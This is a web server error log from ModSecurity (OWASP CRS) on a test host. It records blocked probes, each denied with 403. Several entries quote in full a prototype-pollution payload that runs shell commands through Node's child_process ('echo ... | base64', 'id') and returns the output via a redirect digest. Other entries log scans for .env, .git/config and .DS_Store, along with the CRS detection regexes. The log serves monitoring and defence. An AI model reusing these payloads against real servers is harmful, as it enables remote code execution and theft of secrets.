[Sat Dec 13 13:47:05.016164 2025] [:error] [pid 704179] [client 88.32.174.18:37304] [client 88.32.174.18] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aT1gSSDuuXJJBU7c_tq6BgAAAAM"]
[Sat Dec 13 19:20:08.302671 2025] [:error] [pid 714767] [client 3.122.247.107:56870] [client 3.122.247.107] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT2uWD39bbz7H4uo8xsszQAAAEA"]
[Sat Dec 13 19:20:08.303198 2025] [:error] [pid 714767] [client 3.122.247.107:56870] [client 3.122.247.107] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT2uWD39bbz7H4uo8xsszQAAAEA"]
[Sat Dec 13 19:20:08.304171 2025] [:error] [pid 714767] [client 3.122.247.107:56870] [client 3.122.247.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT2uWD39bbz7H4uo8xsszQAAAEA"]
[Sat Dec 13 19:20:08.304363 2025] [:error] [pid 714767] [client 3.122.247.107:56870] [client 3.122.247.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT2uWD39bbz7H4uo8xsszQAAAEA"]
[Sat Dec 13 20:18:39.133619 2025] [:error] [pid 714745] [client 3.122.247.107:49158] [client 3.122.247.107] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT28D67he51rbo1RuLjq8QAAACo"]
[Sat Dec 13 20:18:39.134159 2025] [:error] [pid 714745] [client 3.122.247.107:49158] [client 3.122.247.107] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT28D67he51rbo1RuLjq8QAAACo"]
[Sat Dec 13 20:18:39.135221 2025] [:error] [pid 714745] [client 3.122.247.107:49158] [client 3.122.247.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT28D67he51rbo1RuLjq8QAAACo"]
[Sat Dec 13 20:18:39.135447 2025] [:error] [pid 714745] [client 3.122.247.107:49158] [client 3.122.247.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT28D67he51rbo1RuLjq8QAAACo"]
[Sat Dec 13 20:18:39.457279 2025] [:error] [pid 714767] [client 3.122.247.107:49186] [client 3.122.247.107] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT28Dz39bbz7H4uo8xss1AAAAEA"]
[Sat Dec 13 20:18:39.457824 2025] [:error] [pid 714767] [client 3.122.247.107:49186] [client 3.122.247.107] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT28Dz39bbz7H4uo8xss1AAAAEA"]
[Sat Dec 13 20:18:39.458923 2025] [:error] [pid 714767] [client 3.122.247.107:49186] [client 3.122.247.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT28Dz39bbz7H4uo8xss1AAAAEA"]
[Sat Dec 13 20:18:39.459165 2025] [:error] [pid 714767] [client 3.122.247.107:49186] [client 3.122.247.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aT28Dz39bbz7H4uo8xss1AAAAEA"]
[Sun Dec 14 02:20:53.876759 2025] [authz_core:error] [pid 723483] [client 167.71.175.236:39664] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sun Dec 14 02:20:56.818504 2025] [:error] [pid 723527] [client 167.71.175.236:39692] [client 167.71.175.236] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aT4Q-CCA6R_1-Yl_WssqKAAAAAE"]
[Sun Dec 14 02:20:56.818746 2025] [:error] [pid 723527] [client 167.71.175.236:39692] [client 167.71.175.236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aT4Q-CCA6R_1-Yl_WssqKAAAAAE"]
[Sun Dec 14 02:20:56.818918 2025] [:error] [pid 723527] [client 167.71.175.236:39692] [client 167.71.175.236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aT4Q-CCA6R_1-Yl_WssqKAAAAAE"]
[Sun Dec 14 02:20:57.822438 2025] [:error] [pid 723484] [client 167.71.175.236:39702] [client 167.71.175.236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aT4Q-Sx-Hk6S6vUC4v9x0gAAACg"]
[Sun Dec 14 02:20:57.822707 2025] [:error] [pid 723484] [client 167.71.175.236:39702] [client 167.71.175.236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aT4Q-Sx-Hk6S6vUC4v9x0gAAACg"]
[Sun Dec 14 02:20:57.822862 2025] [:error] [pid 723484] [client 167.71.175.236:39702] [client 167.71.175.236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aT4Q-Sx-Hk6S6vUC4v9x0gAAACg"]
[Sun Dec 14 02:20:59.823440 2025] [:error] [pid 723483] [client 167.71.175.236:37210] [client 167.71.175.236] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aT4Q-7Uv02QNtGhXezJnBQAAACI"]
[Sun Dec 14 02:20:59.823693 2025] [:error] [pid 723483] [client 167.71.175.236:37210] [client 167.71.175.236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aT4Q-7Uv02QNtGhXezJnBQAAACI"]
[Sun Dec 14 02:20:59.823870 2025] [:error] [pid 723483] [client 167.71.175.236:37210] [client 167.71.175.236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aT4Q-7Uv02QNtGhXezJnBQAAACI"]
[Sun Dec 14 03:02:13.891749 2025] [authz_core:error] [pid 725943] [client 128.199.182.152:41446] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sun Dec 14 03:02:17.455754 2025] [:error] [pid 725945] [client 128.199.182.152:41486] [client 128.199.182.152] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aT4aqTIKlE4u7XynmwoGJwAAAAM"]
[Sun Dec 14 03:02:17.455996 2025] [:error] [pid 725945] [client 128.199.182.152:41486] [client 128.199.182.152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aT4aqTIKlE4u7XynmwoGJwAAAAM"]
[Sun Dec 14 03:02:17.456185 2025] [:error] [pid 725945] [client 128.199.182.152:41486] [client 128.199.182.152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aT4aqTIKlE4u7XynmwoGJwAAAAM"]
[Sun Dec 14 03:02:18.647711 2025] [:error] [pid 725943] [client 128.199.182.152:41488] [client 128.199.182.152] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aT4aqj2m5DlzYKppswchRQAAAAE"]
[Sun Dec 14 03:02:18.647953 2025] [:error] [pid 725943] [client 128.199.182.152:41488] [client 128.199.182.152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aT4aqj2m5DlzYKppswchRQAAAAE"]
[Sun Dec 14 03:02:18.648134 2025] [:error] [pid 725943] [client 128.199.182.152:41488] [client 128.199.182.152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aT4aqj2m5DlzYKppswchRQAAAAE"]
[Sun Dec 14 03:02:20.678602 2025] [:error] [pid 725946] [client 128.199.182.152:41500] [client 128.199.182.152] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aT4arKnSE5_lC1C3wshu3AAAAAQ"]
[Sun Dec 14 03:02:20.678865 2025] [:error] [pid 725946] [client 128.199.182.152:41500] [client 128.199.182.152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aT4arKnSE5_lC1C3wshu3AAAAAQ"]
[Sun Dec 14 03:02:20.679047 2025] [:error] [pid 725946] [client 128.199.182.152:41500] [client 128.199.182.152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aT4arKnSE5_lC1C3wshu3AAAAAQ"]
[Sun Dec 14 13:38:13.360027 2025] [:error] [pid 725945] [client 20.127.185.83:45154] [client 20.127.185.83] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}} found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(id).tostring().trim().replace(/n/g | ) throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aT6vtTIKlE4u7XynmwoHpAAAAAM"]
[Sun Dec 14 13:38:13.361533 2025] [:error] [pid 725945] [client 20.127.185.83:45154] [client 20.127.185.83] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aT6vtTIKlE4u7XynmwoHpAAAAAM"]
[Sun Dec 14 13:38:13.361708 2025] [:error] [pid 725945] [client 20.127.185.83:45154] [client 20.127.185.83] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aT6vtTIKlE4u7XynmwoHpAAAAAM"]
